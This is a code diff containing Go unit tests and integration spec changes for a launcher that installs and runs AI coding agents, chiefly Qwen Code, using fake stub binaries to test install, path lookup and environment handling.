||||
|
||||
if got := (&Qwen{}).CurrentModel(); got != "mistral" {
|
||||
t.Fatalf("expected provider fallback mistral, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenOnboard(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setQwenTestHome(t, tmpDir)
|
||||
|
||||
if err := (&Qwen{}).Onboard(); err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
|
||||
saved, err := config.LoadIntegration("qwen")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to load integration config: %v", err)
|
||||
}
|
||||
if !saved.Onboarded {
|
||||
t.Fatal("expected qwen integration to be marked onboarded")
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenIntegration(t *testing.T) {
|
||||
q := &Qwen{}
|
||||
|
||||
t.Run("String", func(t *testing.T) {
|
||||
if got := q.String(); got != "Qwen Code" {
|
||||
t.Fatalf("String() = %q, want %q", got, "Qwen Code")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("implements Runner", func(t *testing.T) {
|
||||
var _ Runner = q
|
||||
})
|
||||
|
||||
t.Run("implements ManagedSingleModel", func(t *testing.T) {
|
||||
var _ ManagedSingleModel = q
|
||||
})
|
||||
|
||||
t.Run("implements ManagedInteractiveOnboarding", func(t *testing.T) {
|
||||
var _ ManagedInteractiveOnboarding = q
|
||||
})
|
||||
}
|
||||
|
||||
func TestQwenFindPath(t *testing.T) {
|
||||
q := &Qwen{}
|
||||
path, err := q.findPath()
|
||||
if err != nil {
|
||||
t.Skipf("qwen binary not found, skipping: %v", err)
|
||||
}
|
||||
if path == "" {
|
||||
t.Fatal("expected non-empty path")
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenPaths(t *testing.T) {
|
||||
testDir := filepath.Join(t.TempDir(), "qwen-paths-test")
|
||||
setQwenTestHome(t, testDir)
|
||||
|
||||
q := &Qwen{}
|
||||
os.MkdirAll(filepath.Join(testDir, ".qwen"), 0o755)
|
||||
os.WriteFile(filepath.Join(testDir, ".qwen", "settings.json"), []byte("{}"), 0o644)
|
||||
|
||||
paths := q.Paths()
|
||||
if len(paths) != 1 {
|
||||
t.Fatalf("expected 1 path, got %v", paths)
|
||||
}
|
||||
|
||||
want, err := filepath.EvalSymlinks(filepath.Join(testDir, ".qwen", "settings.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to resolve expected path: %v", err)
|
||||
}
|
||||
got, err := filepath.EvalSymlinks(paths[0])
|
||||
if err != nil {
|
||||
t.Fatalf("failed to resolve returned path: %v", err)
|
||||
}
|
||||
if got != want {
|
||||
t.Fatalf("expected user config path %s, got %s", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenLaunchArgs(t *testing.T) {
|
||||
got := qwenLaunchArgs("llama3.2", nil)
|
||||
want := []string{"--model", "llama3.2", "--auth-type", "openai"}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("expected %v, got %v", want, got)
|
||||
}
|
||||
|
||||
got = qwenLaunchArgs("llama3.2", []string{"--auth-type", "openai"})
|
||||
want = []string{"--model", "llama3.2", "--auth-type", "openai"}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("expected %v, got %v", want, got)
|
||||
}
|
||||
|
||||
got = qwenLaunchArgs("llama3.2", []string{"-m", "gemma4"})
|
||||
want = []string{"--auth-type", "openai", "-m", "gemma4"}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("expected %v, got %v", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenLaunchEnv(t *testing.T) {
|
||||
t.Setenv("OPENAI_API_KEY", "")
|
||||
t.Setenv("OPENAI_BASE_URL", "")
|
||||
t.Setenv("OPENAI_MODEL", "")
|
||||
|
||||
env := qwenLaunchEnv("llama3.2")
|
||||
if !slices.Contains(env, "OPENAI_API_KEY=ollama") {
|
||||
t.Fatalf("expected OPENAI_API_KEY override, got %v", env)
|
||||
}
|
||||
if !slices.Contains(env, "OPENAI_BASE_URL="+qwenBaseURL()) {
|
||||
t.Fatalf("expected OPENAI_BASE_URL override, got %v", env)
|
||||
}
|
||||
if !slices.Contains(env, "OPENAI_MODEL=llama3.2") {
|
||||
t.Fatalf("expected OPENAI_MODEL override, got %v", env)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenLaunchEnvOverridesExistingOpenAIEnv(t *testing.T) {
|
||||
t.Setenv("OPENAI_API_KEY", "real-key")
|
||||
t.Setenv("OPENAI_BASE_URL", "https://api.openai.com/v1")
|
||||
t.Setenv("OPENAI_MODEL", "gpt-4.1")
|
||||
|
||||
env := qwenLaunchEnv("llama3.2")
|
||||
if !slices.Contains(env, "OPENAI_API_KEY=ollama") {
|
||||
t.Fatalf("expected OPENAI_API_KEY override, got %v", env)
|
||||
}
|
||||
if !slices.Contains(env, "OPENAI_BASE_URL="+qwenBaseURL()) {
|
||||
t.Fatalf("expected OPENAI_BASE_URL override, got %v", env)
|
||||
}
|
||||
if !slices.Contains(env, "OPENAI_MODEL=llama3.2") {
|
||||
t.Fatalf("expected OPENAI_MODEL override, got %v", env)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenRunDoesNotRewriteConfig(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setQwenTestHome(t, tmpDir)
|
||||
t.Chdir(tmpDir)
|
||||
|
||||
qwenBinDir := filepath.Join(tmpDir, "bin")
|
||||
if err := os.MkdirAll(qwenBinDir, 0o755); err != nil {
|
||||
t.Fatalf("failed to create bin dir: %v", err)
|
||||
}
|
||||
|
||||
qwenBin := filepath.Join(qwenBinDir, "qwen")
|
||||
qwenScript := "#!/bin/sh\nexit 0\n"
|
||||
if runtime.GOOS == "windows" {
|
||||
qwenBin = filepath.Join(qwenBinDir, "qwen.bat")
|
||||
qwenScript = "@echo off\r\nexit /b 0\r\n"
|
||||
}
|
||||
if err := os.WriteFile(qwenBin, []byte(qwenScript), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake qwen binary: %v", err)
|
||||
}
|
||||
if runtime.GOOS != "windows" {
|
||||
if err := os.Chmod(qwenBin, 0o755); err != nil {
|
||||
t.Fatalf("failed to chmod fake qwen binary: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
t.Setenv("PATH", qwenBinDir+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".qwen")
|
||||
if err := os.MkdirAll(configDir, 0o755); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
initialConfig := []byte(`{"model":{"name":"qwen3:32b"}}`)
|
||||
configPath := filepath.Join(configDir, "settings.json")
|
||||
if err := os.WriteFile(configPath, initialConfig, 0o644); err != nil {
|
||||
t.Fatalf("failed to write initial config: %v", err)
|
||||
}
|
||||
|
||||
if err := (&Qwen{}).Run("qwen3:32b", nil, nil); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read config after run: %v", err)
|
||||
}
|
||||
if string(data) != string(initialConfig) {
|
||||
t.Fatalf("expected run not to rewrite config, got %s", string(data))
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureQwenInstalled(t *testing.T) {
|
||||
oldGOOS := qwenGOOS
|
||||
t.Cleanup(func() { qwenGOOS = oldGOOS })
|
||||
|
||||
withConfirm := func(t *testing.T, fn func(prompt string) (bool, error)) {
|
||||
t.Helper()
|
||||
oldConfirm := DefaultConfirmPrompt
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
return fn(prompt)
|
||||
}
|
||||
t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
|
||||
}
|
||||
|
||||
t.Run("already installed", func(t *testing.T) {
|
||||
setQwenTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
writeFakeBinary(t, tmpDir, "qwen")
|
||||
qwenGOOS = runtime.GOOS
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
bin, err := ensureQwenInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureQwenInstalled() error = %v", err)
|
||||
}
|
||||
if filepath.Base(bin) == "" {
|
||||
t.Fatalf("expected qwen binary path, got %q", bin)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("missing dependencies", func(t *testing.T) {
|
||||
setQwenTestHome(t, t.TempDir())
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
qwenGOOS = "linux"
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
t.Fatalf("did not expect prompt, got %q", prompt)
|
||||
return false, nil
|
||||
})
|
||||
|
||||
_, err := ensureQwenInstalled()
|
||||
if err == nil || !strings.Contains(err.Error(), "required dependencies are missing") {
|
||||
t.Fatalf("expected missing dependency error, got %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("missing and user declines install", func(t *testing.T) {
|
||||
setQwenTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
writeFakeBinary(t, tmpDir, "curl")
|
||||
writeFakeBinary(t, tmpDir, "bash")
|
||||
qwenGOOS = "linux"
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
if !strings.Contains(prompt, "Qwen Code is not installed.") {
|
||||
t.Fatalf("unexpected prompt: %q", prompt)
|
||||
}
|
||||
return false, nil
|
||||
})
|
||||
|
||||
_, err := ensureQwenInstalled()
|
||||
if err == nil || !strings.Contains(err.Error(), "installation cancelled") {
|
||||
t.Fatalf("expected cancellation error, got %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("missing and user confirms unix install succeeds", func(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binaries")
|
||||
}
|
||||
|
||||
homeDir := t.TempDir()
|
||||
setQwenTestHome(t, homeDir)
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
qwenGOOS = "linux"
|
||||
writeFakeBinary(t, tmpDir, "curl")
|
||||
|
||||
installLog := filepath.Join(tmpDir, "bash.log")
|
||||
qwenPath := filepath.Join(homeDir, ".npm-global", "bin", "qwen")
|
||||
bashScript := fmt.Sprintf(`#!/bin/sh
|
||||
echo "$@" >> %q
|
||||
if [ "$1" = "-c" ]; then
|
||||
/bin/mkdir -p %q
|
||||
/bin/cat > %q <<'EOS'
|
||||
#!/bin/sh
|
||||
exit 0
|
||||
EOS
|
||||
/bin/chmod +x %q
|
||||
fi
|
||||
exit 0
|
||||
`, installLog, filepath.Dir(qwenPath), qwenPath, qwenPath)
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte(bashScript), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake bash: %v", err)
|
||||
}
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
return true, nil
|
||||
})
|
||||
|
||||
bin, err := ensureQwenInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureQwenInstalled() error = %v", err)
|
||||
}
|
||||
if bin != qwenPath {
|
||||
t.Fatalf("bin = %q, want %q", bin, qwenPath)
|
||||
}
|
||||
|
||||
logData, err := os.ReadFile(installLog)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read install log: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(logData), "install-qwen.sh") {
|
||||
t.Fatalf("expected install-qwen.sh command in log, got:\n%s", string(logData))
|
||||
}
|
||||
if !strings.Contains(string(logData), "exec qwen/d") {
|
||||
t.Fatalf("expected command to remove installer auto-start block, got:\n%s", string(logData))
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("missing and user confirms windows install succeeds", func(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binaries")
|
||||
}
|
||||
|
||||
homeDir := t.TempDir()
|
||||
setQwenTestHome(t, homeDir)
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
appData := filepath.Join(homeDir, "AppData", "Roaming")
|
||||
t.Setenv("APPDATA", appData)
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(homeDir, "AppData", "Local"))
|
||||
qwenGOOS = "windows"
|
||||
|
||||
installLog := filepath.Join(tmpDir, "powershell.log")
|
||||
qwenPath := filepath.Join(appData, "npm", "qwen.cmd")
|
||||
powershellScript := fmt.Sprintf(`#!/bin/sh
|
||||
echo "$@" >> %q
|
||||
/bin/mkdir -p %q
|
||||
/bin/cat > %q <<'EOS'
|
||||
@echo off
|
||||
exit /b 0
|
||||
EOS
|
||||
/bin/chmod +x %q
|
||||
exit 0
|
||||
`, installLog, filepath.Dir(qwenPath), qwenPath, qwenPath)
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "powershell"), []byte(powershellScript), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake powershell: %v", err)
|
||||
}
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
return true, nil
|
||||
})
|
||||
|
||||
bin, err := ensureQwenInstalled()
|
||||
if err != nil {
|
||||
t.Fatalf("ensureQwenInstalled() error = %v", err)
|
||||
}
|
||||
if bin != qwenPath {
|
||||
t.Fatalf("bin = %q, want %q", bin, qwenPath)
|
||||
}
|
||||
|
||||
logData, err := os.ReadFile(installLog)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read install log: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(logData), "install-qwen.bat") {
|
||||
t.Fatalf("expected install-qwen.bat command in log, got:\n%s", string(logData))
|
||||
}
|
||||
if !strings.Contains(string(logData), "REM call qwen") {
|
||||
t.Fatalf("expected command to replace installer auto-start call, got:\n%s", string(logData))
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("install command fails", func(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binaries")
|
||||
}
|
||||
|
||||
setQwenTestHome(t, t.TempDir())
|
||||
tmpDir := t.TempDir()
|
||||
t.Setenv("PATH", tmpDir)
|
||||
qwenGOOS = "linux"
|
||||
writeFakeBinary(t, tmpDir, "curl")
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte("#!/bin/sh\nexit 1\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake bash: %v", err)
|
||||
}
|
||||
|
||||
withConfirm(t, func(prompt string) (bool, error) {
|
||||
return true, nil
|
||||
})
|
||||
|
||||
_, err := ensureQwenInstalled()
|
||||
if err == nil || !strings.Contains(err.Error(), "failed to install qwen") {
|
||||
t.Fatalf("expected install failure error, got %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestQwenFindPathFallbacks(t *testing.T) {
|
||||
oldGOOS := qwenGOOS
|
||||
t.Cleanup(func() { qwenGOOS = oldGOOS })
|
||||
|
||||
t.Run("unix npm global bin", func(t *testing.T) {
|
||||
homeDir := t.TempDir()
|
||||
setQwenTestHome(t, homeDir)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
qwenGOOS = "linux"
|
||||
|
||||
target := filepath.Join(homeDir, ".npm-global", "bin", "qwen")
|
||||
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
|
||||
t.Fatalf("failed to create qwen dir: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(target, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write qwen binary: %v", err)
|
||||
}
|
||||
|
||||
got, err := (&Qwen{}).findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("findPath() error = %v", err)
|
||||
}
|
||||
if got != target {
|
||||
t.Fatalf("findPath() = %q, want %q", got, target)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("windows appdata npm shim", func(t *testing.T) {
|
||||
homeDir := t.TempDir()
|
||||
setQwenTestHome(t, homeDir)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
appData := filepath.Join(homeDir, "AppData", "Roaming")
|
||||
t.Setenv("APPDATA", appData)
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(homeDir, "AppData", "Local"))
|
||||
qwenGOOS = "windows"
|
||||
|
||||
target := filepath.Join(appData, "npm", "qwen.cmd")
|
||||
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
|
||||
t.Fatalf("failed to create qwen dir: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(target, []byte("@echo off\r\nexit /b 0\r\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write qwen shim: %v", err)
|
||||
}
|
||||
|
||||
got, err := (&Qwen{}).findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("findPath() error = %v", err)
|
||||
}
|
||||
if got != target {
|
||||
t.Fatalf("findPath() = %q, want %q", got, target)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("unix nvm npm bin", func(t *testing.T) {
|
||||
homeDir := t.TempDir()
|
||||
setQwenTestHome(t, homeDir)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
qwenGOOS = "linux"
|
||||
|
||||
target := filepath.Join(homeDir, ".nvm", "versions", "node", "v20.18.1", "bin", "qwen")
|
||||
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
|
||||
t.Fatalf("failed to create qwen dir: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(target, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write qwen binary: %v", err)
|
||||
}
|
||||
|
||||
got, err := (&Qwen{}).findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("findPath() error = %v", err)
|
||||
}
|
||||
if got != target {
|
||||
t.Fatalf("findPath() = %q, want %q", got, target)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestQwenInstallShimDir(t *testing.T) {
|
||||
oldGOOS := qwenGOOS
|
||||
t.Cleanup(func() { qwenGOOS = oldGOOS })
|
||||
|
||||
t.Run("unix shim", func(t *testing.T) {
|
||||
qwenGOOS = "linux"
|
||||
dir, cleanup, err := qwenInstallShimDir()
|
||||
if err != nil {
|
||||
t.Fatalf("qwenInstallShimDir() error = %v", err)
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
if _, err := os.Stat(filepath.Join(dir, "qwen")); err != nil {
|
||||
t.Fatalf("expected qwen shim: %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("windows shim", func(t *testing.T) {
|
||||
qwenGOOS = "windows"
|
||||
dir, cleanup, err := qwenInstallShimDir()
|
||||
if err != nil {
|
||||
t.Fatalf("qwenInstallShimDir() error = %v", err)
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
for _, name := range []string{"qwen.cmd", "qwen.bat"} {
|
||||
if _, err := os.Stat(filepath.Join(dir, name)); err != nil {
|
||||
t.Fatalf("expected %s shim: %v", name, err)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestQwenInstallerEnvPrependsShimPath(t *testing.T) {
|
||||
env := qwenInstallerEnv([]string{"FOO=bar", "PATH=/usr/bin"}, "/tmp/qwen-shim")
|
||||
if !slices.Contains(env, "FOO=bar") {
|
||||
t.Fatalf("expected unrelated env to be preserved, got %v", env)
|
||||
}
|
||||
if !slices.Contains(env, "PATH=/tmp/qwen-shim"+string(os.PathListSeparator)+"/usr/bin") {
|
||||
t.Fatalf("expected shim path to be prepended, got %v", env)
|
||||
}
|
||||
|
||||
env = qwenInstallerEnv([]string{"Path=C:\\Windows"}, "C:\\qwen-shim")
|
||||
if !slices.Contains(env, "Path=C:\\qwen-shim"+string(os.PathListSeparator)+"C:\\Windows") {
|
||||
t.Fatalf("expected existing Path casing to be preserved, got %v", env)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenInstallerCommand(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
goos string
|
||||
wantBin string
|
||||
wantParts []string
|
||||
wantErr bool
|
||||
}{
|
||||
{
|
||||
name: "linux",
|
||||
goos: "linux",
|
||||
wantBin: "bash",
|
||||
wantParts: []string{"-c", "install-qwen.sh", "sed", "exec qwen/d"},
|
||||
},
|
||||
{
|
||||
name: "darwin",
|
||||
goos: "darwin",
|
||||
wantBin: "bash",
|
||||
wantParts: []string{"-c", "install-qwen.sh", "sed", "exec qwen/d"},
|
||||
},
|
||||
{
|
||||
name: "windows",
|
||||
goos: "windows",
|
||||
wantBin: "powershell",
|
||||
wantParts: []string{"-Command", "-UseBasicParsing", "-OutFile", "Get-Content -Raw", "install-qwen.bat", "REM call qwen"},
|
||||
},
|
||||
{
|
||||
name: "unsupported",
|
||||
goos: "freebsd",
|
||||
wantErr: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
bin, args, err := qwenInstallerCommand(tt.goos)
|
||||
if tt.wantErr {
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("qwenInstallerCommand() error = %v", err)
|
||||
}
|
||||
if bin != tt.wantBin {
|
||||
t.Fatalf("bin = %q, want %q", bin, tt.wantBin)
|
||||
}
|
||||
joined := strings.Join(args, " ")
|
||||
for _, part := range tt.wantParts {
|
||||
if !strings.Contains(joined, part) {
|
||||
t.Fatalf("args %q missing %q", joined, part)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
+49
-4
@@ -33,7 +33,7 @@ type IntegrationInfo struct {
|
||||
Description string
|
||||
}
|
||||
|
||||
var launcherIntegrationOrder = []string{"claude", "codex-app", "hermes", "openclaw", "opencode", "codex", "copilot", "droid", "pi", "pool"}
|
||||
var launcherIntegrationOrder = []string{"claude", "codex-app", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp", "cline", "droid", "pi", "pool", "qwen"}
|
||||
|
||||
var integrationSpecs = []*IntegrationSpec{
|
||||
{
|
||||
@@ -65,13 +65,16 @@ var integrationSpecs = []*IntegrationSpec{
|
||||
Name: "cline",
|
||||
Runner: &Cline{},
|
||||
Description: "Autonomous coding agent with parallel execution",
|
||||
Hidden: true,
|
||||
Install: IntegrationInstallSpec{
|
||||
CheckInstalled: func() bool {
|
||||
_, err := exec.LookPath("cline")
|
||||
return err == nil
|
||||
},
|
||||
Command: []string{"npm", "install", "-g", "cline"},
|
||||
EnsureInstalled: func() error {
|
||||
_, err := ensureClineInstalled()
|
||||
return err
|
||||
},
|
||||
Command: []string{"npm", "install", "-g", "cline@latest"},
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -153,6 +156,18 @@ var integrationSpecs = []*IntegrationSpec{
|
||||
URL: "https://opencode.ai",
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "omp",
|
||||
Runner: &OMP{},
|
||||
Description: "AI coding agent with IDE integration",
|
||||
Install: IntegrationInstallSpec{
|
||||
CheckInstalled: func() bool {
|
||||
_, err := (&OMP{}).findPath()
|
||||
return err == nil
|
||||
},
|
||||
URL: "https://omp.sh",
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "openclaw",
|
||||
Runner: &Openclaw{},
|
||||
@@ -188,7 +203,7 @@ var integrationSpecs = []*IntegrationSpec{
|
||||
_, err := ensurePiInstalled()
|
||||
return err
|
||||
},
|
||||
Command: []string{"npm", "install", "-g", "@mariozechner/pi-coding-agent@latest"},
|
||||
Command: []string{"npm", "install", "-g", "@earendil-works/pi-coding-agent@latest"},
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -217,6 +232,20 @@ var integrationSpecs = []*IntegrationSpec{
|
||||
URL: "https://hermes-agent.nousresearch.com/docs/getting-started/installation/",
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "hermes-desktop",
|
||||
Runner: &HermesDesktop{},
|
||||
Description: "Desktop app for Hermes Agent by Nous Research",
|
||||
Install: IntegrationInstallSpec{
|
||||
CheckInstalled: func() bool {
|
||||
return (&Hermes{}).installed()
|
||||
},
|
||||
EnsureInstalled: func() error {
|
||||
return (&Hermes{}).ensureInstalledFor("hermes-desktop")
|
||||
},
|
||||
URL: "https://hermes-agent.nousresearch.com/docs/getting-started/installation/",
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "vscode",
|
||||
Runner: &VSCode{},
|
||||
@@ -230,6 +259,22 @@ var integrationSpecs = []*IntegrationSpec{
|
||||
URL: "https://code.visualstudio.com",
|
||||
},
|
||||
},
|
||||
{
|
||||
Name: "qwen",
|
||||
Runner: &Qwen{},
|
||||
Description: "Qwen's AI coding agent with tool use",
|
||||
Install: IntegrationInstallSpec{
|
||||
CheckInstalled: func() bool {
|
||||
_, err := (&Qwen{}).findPath()
|
||||
return err == nil
|
||||
},
|
||||
EnsureInstalled: func() error {
|
||||
_, err := ensureQwenInstalled()
|
||||
return err
|
||||
},
|
||||
URL: "https://qwen.ai/qwencode",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
var integrationSpecsByName map[string]*IntegrationSpec
|
||||
|
||||
@@ -61,6 +61,14 @@ func TestEditorRunsDoNotRewriteConfig(t *testing.T) {
|
||||
return filepath.Join(home, ".kimi", "config.toml")
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "omp",
|
||||
binary: "omp",
|
||||
runner: &OMP{},
|
||||
checkPath: func(home string) string {
|
||||
return filepath.Join(home, ".omp", "agent", "models.yml")
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
|
||||
Loaded 100 of 1285 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user